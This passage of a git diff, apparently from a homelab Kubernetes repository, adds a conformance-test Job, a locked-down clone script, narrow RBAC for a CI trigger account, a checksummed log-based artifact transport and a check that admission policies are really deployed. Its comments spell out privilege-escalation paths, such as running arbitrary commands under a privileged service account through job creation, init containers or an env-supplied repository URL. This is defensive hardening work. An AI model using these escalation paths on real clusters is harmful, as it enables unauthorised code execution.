requests: { cpu: 100m, memory: 128Mi }
|
||||||
|
limits: { cpu: "1", memory: 512Mi }
|
||||||
|
containers:
|
||||||
|
- name: chainsaw
|
||||||
|
# Digest-pinned under the conformance repository path — the admission policy
|
||||||
|
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
|
||||||
|
# (+ kubectl, git, python3, bash); see plan §5 step 1.
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||||
|
workingDir: /workspace/src/conformance
|
||||||
|
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
|
||||||
|
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
|
||||||
|
command: ["./run.sh"]
|
||||||
|
# Replaced wholesale by the trigger per invocation shape (see the header).
|
||||||
|
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
|
||||||
|
args: ["--layer", "l2,l3"]
|
||||||
|
env:
|
||||||
|
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
|
||||||
|
# artifact tree onto the `results` volume. It cannot live at its default
|
||||||
|
# conformance/_artifacts, because a volume mounted inside the clone target
|
||||||
|
# would make that directory non-empty and `git clone` would refuse it.
|
||||||
|
- name: CONF_ARTIFACTS
|
||||||
|
value: /results
|
||||||
|
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
|
||||||
|
# base64 tar over an operator's terminal.
|
||||||
|
- name: CONF_EMIT_ARTIFACTS_TGZ
|
||||||
|
value: "1"
|
||||||
|
- name: TMPDIR
|
||||||
|
value: /workspace/tmp
|
||||||
|
- name: HOME
|
||||||
|
value: /workspace/home
|
||||||
|
volumeMounts:
|
||||||
|
- { name: workspace, mountPath: /workspace }
|
||||||
|
- { name: results, mountPath: /results }
|
||||||
|
securityContext:
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
readOnlyRootFilesystem: true
|
||||||
|
capabilities: { drop: ["ALL"] }
|
||||||
|
runAsNonRoot: true
|
||||||
|
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
|
||||||
|
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
|
||||||
|
# node without starving the suite.
|
||||||
|
resources:
|
||||||
|
requests: { cpu: 250m, memory: 512Mi }
|
||||||
|
limits: { cpu: "2", memory: 2Gi }
|
||||||
volumes:
|
volumes:
|
||||||
# Suite source: populated by an init-container git clone of the impl repo at
|
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
|
||||||
# the commit under test, OR a Flux-synced source volume. (Init container
|
# Suite source, written by the init container: /workspace/src is the checkout,
|
||||||
# omitted from this skeleton; wire in T-6.1b.)
|
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
|
||||||
- name: workspace
|
- name: workspace
|
||||||
emptyDir: {}
|
emptyDir: {}
|
||||||
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
|
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
|
||||||
# for a results PVC if durability beyond pod lifetime is required.
|
# carries; an emptyDir is sufficient because the transport is the log, not the
|
||||||
|
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
|
||||||
- name: results
|
- name: results
|
||||||
emptyDir: {}
|
emptyDir: {}
|
||||||
Executable
+138
@@ -0,0 +1,138 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
###############################################################################
|
||||||
|
# conformance-clone — fetch the impl repo at the exact commit under test.
|
||||||
|
#
|
||||||
|
# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
|
||||||
|
# root:root, so the running container (uid 65532) cannot replace it. The Job's init
|
||||||
|
# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
|
||||||
|
#
|
||||||
|
# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
|
||||||
|
# -----------------------------------------------------------------
|
||||||
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
|
||||||
|
# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
|
||||||
|
# So a Job from `conformance-trigger` could carry an init container with
|
||||||
|
# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
|
||||||
|
# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
|
||||||
|
# (pass 3, fail 0).
|
||||||
|
#
|
||||||
|
# The fix has two halves and NEITHER works alone:
|
||||||
|
# 1. this file — a fixed path with fixed behaviour and no argument surface, so there is
|
||||||
|
# nothing for a caller to inject into; and
|
||||||
|
# 2. a 4th policy rule requiring every initContainer's `command` to be exactly
|
||||||
|
# ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
|
||||||
|
# and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
|
||||||
|
# Without (2) this file is merely available, not required.
|
||||||
|
#
|
||||||
|
# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
|
||||||
|
# -----------------------------------------------------------------------------------
|
||||||
|
# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
|
||||||
|
# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
|
||||||
|
# environment would just move the injection one field over — the trigger sets
|
||||||
|
# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
|
||||||
|
# executes under the privileged runner SA. Identical shape to the initContainers gap, and
|
||||||
|
# "no args" would not have stopped it.
|
||||||
|
#
|
||||||
|
# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
|
||||||
|
# vars are still read, so the Job template can keep declaring them and stay self-documenting,
|
||||||
|
# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
|
||||||
|
# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
|
||||||
|
# characters of a commit that the baked repository actually contains.
|
||||||
|
#
|
||||||
|
# Inputs (environment; no arguments are accepted):
|
||||||
|
# CONFORMANCE_GIT_SHA REQUIRED. 40 lowercase hex. The commit under test.
|
||||||
|
# CONFORMANCE_REPO_URL optional. Must equal the baked URL if set.
|
||||||
|
# CONFORMANCE_SRC optional. Must equal the baked target if set.
|
||||||
|
# GITEA_USERNAME optional, from Secret `conformance-git-readonly`.
|
||||||
|
# GITEA_TOKEN optional, from Secret `conformance-git-readonly`.
|
||||||
|
# TMPDIR / HOME optional; must be under /workspace. Default to /workspace/{tmp,home}.
|
||||||
|
#
|
||||||
|
# Runs under: uid 65532, readOnlyRootFilesystem, only the `workspace` and `results` volumes.
|
||||||
|
# Everything it writes therefore lives under /workspace. There is no writable /tmp.
|
||||||
|
###############################################################################
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# --- COMPILED-IN, NOT CONFIGURABLE (see the header) --------------------------
|
||||||
|
readonly BAKED_REPO_URL="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git"
|
||||||
|
readonly BAKED_SRC="/workspace/src"
|
||||||
|
|
||||||
|
die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
|
||||||
|
log() { printf '==> %s\n' "$*"; }
|
||||||
|
|
||||||
|
[ "$#" -eq 0 ] || die "takes no arguments (got $#: $*). Arguments are where an injection would live."
|
||||||
|
|
||||||
|
# --- the one genuinely trusted input ----------------------------------------
|
||||||
|
# A bad SHA must never degrade into "ran whatever the branch tip was": an unrendered
|
||||||
|
# @@CONFORMANCE_GIT_SHA@@ placeholder has to be a hard failure, not a silent run of main.
|
||||||
|
: "${CONFORMANCE_GIT_SHA:?CONFORMANCE_GIT_SHA is not set; the CI trigger did not render it}"
|
||||||
|
printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$' \
|
||||||
|
|| die "CONFORMANCE_GIT_SHA is not a 40-hex commit id: '${CONFORMANCE_GIT_SHA}'
|
||||||
|
The CI trigger did not substitute it, or substituted junk."
|
||||||
|
|
||||||
|
# --- env that may agree with the baked values, but may not override them -----
|
||||||
|
REPO_URL="${CONFORMANCE_REPO_URL:-${BAKED_REPO_URL}}"
|
||||||
|
[ "${REPO_URL}" = "${BAKED_REPO_URL}" ] || die "CONFORMANCE_REPO_URL does not match the image's baked repository.
|
||||||
|
got: ${REPO_URL}
|
||||||
|
baked: ${BAKED_REPO_URL}
|
||||||
|
Refusing. A caller that can choose the repository can choose the code that runs."
|
||||||
|
|
||||||
|
SRC="${CONFORMANCE_SRC:-${BAKED_SRC}}"
|
||||||
|
[ "${SRC}" = "${BAKED_SRC}" ] || die "CONFORMANCE_SRC does not match the image's baked clone target.
|
||||||
|
got: ${SRC}
|
||||||
|
baked: ${BAKED_SRC}
|
||||||
|
Refusing."
|
||||||
|
|
||||||
|
# Scratch paths must stay on the workspace volume; the root filesystem is read-only.
|
||||||
|
# `/workspace` ITSELF is allowed, not just subdirectories: the image's own ENV sets
|
||||||
|
# HOME=/workspace, and an earlier version of this guard rejected exactly that — it matched
|
||||||
|
# only `/workspace/*` and so refused its own default. Caught by running it, not by reading it.
|
||||||
|
: "${TMPDIR:=/workspace/tmp}"
|
||||||
|
: "${HOME:=/workspace/home}"
|
||||||
|
on_workspace() { case "$1" in /workspace|/workspace/*) return 0 ;; *) return 1 ;; esac; }
|
||||||
|
on_workspace "${TMPDIR}" || die "TMPDIR must be /workspace or under it (got '${TMPDIR}')"
|
||||||
|
on_workspace "${HOME}" || die "HOME must be /workspace or under it (got '${HOME}')"
|
||||||
|
export TMPDIR HOME
|
||||||
|
mkdir -p "${TMPDIR}" "${HOME}"
|
||||||
|
|
||||||
|
# --- credential (optional) ---------------------------------------------------
|
||||||
|
# git's shell credential helper is invoked as `sh -c '<value> get'`, so it reads $1 and
|
||||||
|
# answers from the environment. The token therefore never appears in argv and never on disk.
|
||||||
|
#
|
||||||
|
# ANONYMOUS FALLBACK, DELIBERATE AND ANNOUNCED. Read access to this repository currently
|
||||||
|
# needs no credential (measured: `ls-remote` succeeds unauthenticated from inside this
|
||||||
|
# image), so requiring the Secret would fail runs that would otherwise work — and would make
|
||||||
|
# this script untestable without one. It is not a privilege downgrade: the integrity
|
||||||
|
# guarantee here is the SHA assertion below, not the credential. Which mode was used is
|
||||||
|
# logged, so a run that silently lost its Secret is visible in the log rather than inferred.
|
||||||
|
CRED=''
|
||||||
|
if [ -n "${GITEA_USERNAME:-}" ] && [ -n "${GITEA_TOKEN:-}" ]; then
|
||||||
|
CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
|
||||||
|
log "authenticating as '${GITEA_USERNAME}' (token from the environment, never argv)"
|
||||||
|
else
|
||||||
|
log "no GITEA_USERNAME/GITEA_TOKEN in the environment — cloning ANONYMOUSLY"
|
||||||
|
fi
|
||||||
|
|
||||||
|
git_c() {
|
||||||
|
if [ -n "${CRED}" ]; then git -c credential.helper="${CRED}" "$@"; else git "$@"; fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# --- clone, land the exact commit, and PROVE it ------------------------------
|
||||||
|
log "shallow clone ${REPO_URL} -> ${SRC}"
|
||||||
|
git_c clone --depth 1 --no-tags --single-branch "${REPO_URL}" "${SRC}"
|
||||||
|
|
||||||
|
if ! git -C "${SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
|
||||||
|
log "${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
|
||||||
|
git_c -C "${SRC}" fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
git -C "${SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
|
||||||
|
|
||||||
|
# The assertion is the point of the whole script: everything above is best-effort plumbing,
|
||||||
|
# this is what makes "the suite ran at the commit under test" a fact rather than a hope.
|
||||||
|
head="$(git -C "${SRC}" rev-parse HEAD)"
|
||||||
|
[ "${head}" = "${CONFORMANCE_GIT_SHA}" ] \
|
||||||
|
|| die "checked out ${head}, expected ${CONFORMANCE_GIT_SHA}."
|
||||||
|
|
||||||
|
test -x "${SRC}/conformance/run.sh" \
|
||||||
|
|| die "no executable conformance/run.sh at ${head}."
|
||||||
|
|
||||||
|
log "suite ready at ${head}"
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
|
||||||
|
#
|
||||||
|
# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
|
||||||
|
# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
|
||||||
|
# reconciling it would create a permanent Job object and fight the trigger for ownership.
|
||||||
|
#
|
||||||
|
# The identities here are inert without
|
||||||
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
|
||||||
|
# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
|
||||||
|
# half — see the header of rbac.yaml.
|
||||||
|
apiVersion: kustomize.config.k8s.io/v1beta1
|
||||||
|
kind: Kustomization
|
||||||
|
resources:
|
||||||
|
- rbac.yaml
|
||||||
@@ -174,3 +174,68 @@ subjects:
|
|||||||
- kind: ServiceAccount
|
- kind: ServiceAccount
|
||||||
name: conformance-runner
|
name: conformance-runner
|
||||||
namespace: conformance
|
namespace: conformance
|
||||||
|
---
|
||||||
|
# =============================================================================
|
||||||
|
# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
|
||||||
|
#
|
||||||
|
# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
|
||||||
|
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
|
||||||
|
# that can `create jobs` in this namespace can create a Job with
|
||||||
|
# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
|
||||||
|
# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
|
||||||
|
# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
|
||||||
|
# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
|
||||||
|
# access") while appearing to satisfy it.
|
||||||
|
#
|
||||||
|
# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
|
||||||
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
|
||||||
|
# THIS ServiceAccount only when they match the committed conformance shape. This Role is
|
||||||
|
# the necessary half; that policy is the sufficient half. Neither works alone — do not
|
||||||
|
# grant this Role without that policy reconciled and ENFORCING.
|
||||||
|
#
|
||||||
|
# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
|
||||||
|
# =============================================================================
|
||||||
|
apiVersion: v1
|
||||||
|
kind: ServiceAccount
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
labels:
|
||||||
|
app.kubernetes.io/part-of: conformance
|
||||||
|
---
|
||||||
|
apiVersion: rbac.authorization.k8s.io/v1
|
||||||
|
kind: Role
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
labels:
|
||||||
|
app.kubernetes.io/part-of: conformance
|
||||||
|
rules:
|
||||||
|
# Create the run, and watch it to completion.
|
||||||
|
- apiGroups: [batch]
|
||||||
|
resources: [jobs]
|
||||||
|
verbs: [create, get, list, watch]
|
||||||
|
# Read the Job's pod and its log — this is how results come back. Deliberately NOT
|
||||||
|
# pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
|
||||||
|
# them from the log, so no execution channel into the runner pod is ever granted.
|
||||||
|
- apiGroups: [""]
|
||||||
|
resources: [pods, pods/log]
|
||||||
|
verbs: [get, list, watch]
|
||||||
|
# NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
|
||||||
|
# failed run), no secrets, no configmaps, no exec, no create on pods.
|
||||||
|
---
|
||||||
|
apiVersion: rbac.authorization.k8s.io/v1
|
||||||
|
kind: RoleBinding
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
labels:
|
||||||
|
app.kubernetes.io/part-of: conformance
|
||||||
|
roleRef:
|
||||||
|
apiGroup: rbac.authorization.k8s.io
|
||||||
|
kind: Role
|
||||||
|
name: conformance-trigger
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
+111
-1
@@ -60,6 +60,17 @@
|
|||||||
# _artifacts/status/status.md human requirement-status report (--status)
|
# _artifacts/status/status.md human requirement-status report (--status)
|
||||||
# _artifacts/status/status.json machine requirement-status report (--status)
|
# _artifacts/status/status.json machine requirement-status report (--status)
|
||||||
#
|
#
|
||||||
|
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
|
||||||
|
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
|
||||||
|
# conformance/_artifacts (the Job mounts a `results`
|
||||||
|
# volume, which cannot sit inside the git-clone target).
|
||||||
|
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
|
||||||
|
# checksummed base64 tar of the artifact tree to STDOUT,
|
||||||
|
# because `kubectl logs` is the only channel CI has out of
|
||||||
|
# the Job (no pods/exec, no kubectl cp). See the RESULTS
|
||||||
|
# TRANSPORT block below for the envelope and for the five
|
||||||
|
# checks a collector MUST make. Never set this locally.
|
||||||
|
#
|
||||||
# Run ledger (TRACKED — commit these; --record only):
|
# Run ledger (TRACKED — commit these; --record only):
|
||||||
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
|
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
|
||||||
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
|
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
|
||||||
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
|
|||||||
# shellcheck source=versions.env
|
# shellcheck source=versions.env
|
||||||
source "${CONF_ROOT}/versions.env"
|
source "${CONF_ROOT}/versions.env"
|
||||||
|
|
||||||
ARTIFACTS="${CONF_ROOT}/_artifacts"
|
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
|
||||||
|
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
|
||||||
|
# path, because that path is inside the directory the init container `git clone`s into and
|
||||||
|
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
|
||||||
|
# a local run is byte-identical to what it always was.
|
||||||
|
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
|
||||||
COVERAGE_OUT="${ARTIFACTS}/coverage"
|
COVERAGE_OUT="${ARTIFACTS}/coverage"
|
||||||
STATUS_OUT="${ARTIFACTS}/status"
|
STATUS_OUT="${ARTIFACTS}/status"
|
||||||
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
|
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
|
||||||
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
|
|||||||
exit "${RUN_RC}"
|
exit "${RUN_RC}"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
###############################################################################
|
||||||
|
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
|
||||||
|
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
|
||||||
|
#
|
||||||
|
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
|
||||||
|
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
|
||||||
|
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
|
||||||
|
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
|
||||||
|
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
|
||||||
|
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
|
||||||
|
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
|
||||||
|
# ships its JUnit — the red report is the evidence the gate needs most.
|
||||||
|
#
|
||||||
|
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
|
||||||
|
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
|
||||||
|
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
|
||||||
|
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
|
||||||
|
# needed to PROVE completeness, and carries it TWICE:
|
||||||
|
#
|
||||||
|
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||||
|
# <base64 of the .tgz, wrapped at 76 columns>
|
||||||
|
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||||
|
#
|
||||||
|
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
|
||||||
|
# never as "no artifacts", never as a pass:
|
||||||
|
# 1. exactly one BEGIN line and exactly one END line;
|
||||||
|
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
|
||||||
|
# means two interleaved or re-emitted envelopes in one log;
|
||||||
|
# 3. the count of body lines between them equals lines=;
|
||||||
|
# 4. the decoded byte count equals bytes=;
|
||||||
|
# 5. sha256 of the decoded bytes equals sha256=.
|
||||||
|
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
|
||||||
|
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
|
||||||
|
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
|
||||||
|
# which is the whole design requirement.
|
||||||
|
#
|
||||||
|
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
|
||||||
|
# against the Job's completion condition instead of trusting either signal alone.
|
||||||
|
#
|
||||||
|
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
|
||||||
|
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
|
||||||
|
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
|
||||||
|
# entry changed with the environment would be a trap for the collector. It unpacks the
|
||||||
|
# contents wherever it likes.
|
||||||
|
#
|
||||||
|
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
|
||||||
|
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
|
||||||
|
###############################################################################
|
||||||
|
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
|
||||||
|
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
|
||||||
|
|
||||||
|
conf_emit_artifacts_tgz() {
|
||||||
|
local rc="${1:-0}"
|
||||||
|
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
|
||||||
|
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
|
||||||
|
# change the run's verdict — nothing here can turn a red run green or a green run red.
|
||||||
|
trap - EXIT
|
||||||
|
(
|
||||||
|
set +e
|
||||||
|
local tmp tgz b64 bytes lines sha payload
|
||||||
|
tmp="${TMPDIR:-/tmp}"
|
||||||
|
tgz="${tmp}/conformance-artifacts.$$.tgz"
|
||||||
|
b64="${tgz}.b64"
|
||||||
|
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
|
||||||
|
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
|
||||||
|
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
|
||||||
|
rm -f "${tgz}"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
|
||||||
|
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
|
||||||
|
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
|
||||||
|
rm -f "${tgz}" "${b64}"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
|
||||||
|
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
|
||||||
|
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
|
||||||
|
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
|
||||||
|
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||||||
|
cat "${b64}"
|
||||||
|
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||||||
|
rm -f "${tgz}" "${b64}"
|
||||||
|
exit 0
|
||||||
|
)
|
||||||
|
exit "${rc}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
|
||||||
|
# emits a second envelope into its child's tee'd log.
|
||||||
|
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
|
||||||
|
trap 'conf_emit_artifacts_tgz "$?"' EXIT
|
||||||
|
fi
|
||||||
|
|
||||||
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
|
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
|
||||||
gen_coverage() {
|
gen_coverage() {
|
||||||
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
|
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
|
||||||
|
|||||||
@@ -0,0 +1,42 @@
|
|||||||
|
# =============================================================================
|
||||||
|
# L0 STATIC — every authored admission policy is actually APPLIED (R-SEC-01, R-SEC-02)
|
||||||
|
# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
|
||||||
|
#
|
||||||
|
# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
|
||||||
|
# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
|
||||||
|
# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
|
||||||
|
# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
|
||||||
|
# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
|
||||||
|
# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
|
||||||
|
#
|
||||||
|
# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
|
||||||
|
# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
|
||||||
|
# would have skipped this check on the very commit that introduced the defect.
|
||||||
|
# =============================================================================
|
||||||
|
apiVersion: chainsaw.kyverno.io/v1alpha1
|
||||||
|
kind: Test
|
||||||
|
metadata:
|
||||||
|
name: admission-policies-actually-applied
|
||||||
|
labels:
|
||||||
|
conformance.home.k3s/R-SEC-01: "true"
|
||||||
|
conformance.home.k3s/R-SEC-02: "true"
|
||||||
|
annotations:
|
||||||
|
conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
|
||||||
|
conformance.home.k3s/layer: "L0"
|
||||||
|
conformance.home.k3s/scope: "whole-repo"
|
||||||
|
conformance.home.k3s/safety-critical: "false"
|
||||||
|
conformance.home.k3s/executable: "true"
|
||||||
|
conformance.home.k3s/intent: >-
|
||||||
|
Every ClusterPolicy authored under platform/kyverno/ is either referenced by
|
||||||
|
platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
|
||||||
|
exemption that is genuinely not applied — so a policy cannot be authored, tested,
|
||||||
|
green, and absent from the cluster.
|
||||||
|
spec:
|
||||||
|
steps:
|
||||||
|
- name: every-authored-policy-is-applied-or-documented-ci-only
|
||||||
|
description: >-
|
||||||
|
Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
|
||||||
|
into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
|
||||||
|
try:
|
||||||
|
- script:
|
||||||
|
content: bash ./check.sh
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# =============================================================================
|
||||||
|
# L0 static check (offline, no cluster) — admission-policies-actually-applied
|
||||||
|
# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
|
||||||
|
#
|
||||||
|
# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
|
||||||
|
#
|
||||||
|
# platform/kyverno/ holds THREE lists, and only one of them applies anything:
|
||||||
|
# 1. platform/kyverno/admission/kustomization.yaml — reference only. Its own sibling says
|
||||||
|
# "kept as reference; THIS file is the buildable render root".
|
||||||
|
# 2. platform/kyverno/kustomization.yaml — that render root: namespace +
|
||||||
|
# HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
|
||||||
|
# 3. platform-config/kustomization.yaml — THE ONE. Kyverno CRs go here because
|
||||||
|
# they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
|
||||||
|
#
|
||||||
|
# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
|
||||||
|
# what the conformance CI trigger may create) was added to (1). Everything went green: the file
|
||||||
|
# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
|
||||||
|
# `platform` Ready at the new revision — and the policy was never in any applied set. The
|
||||||
|
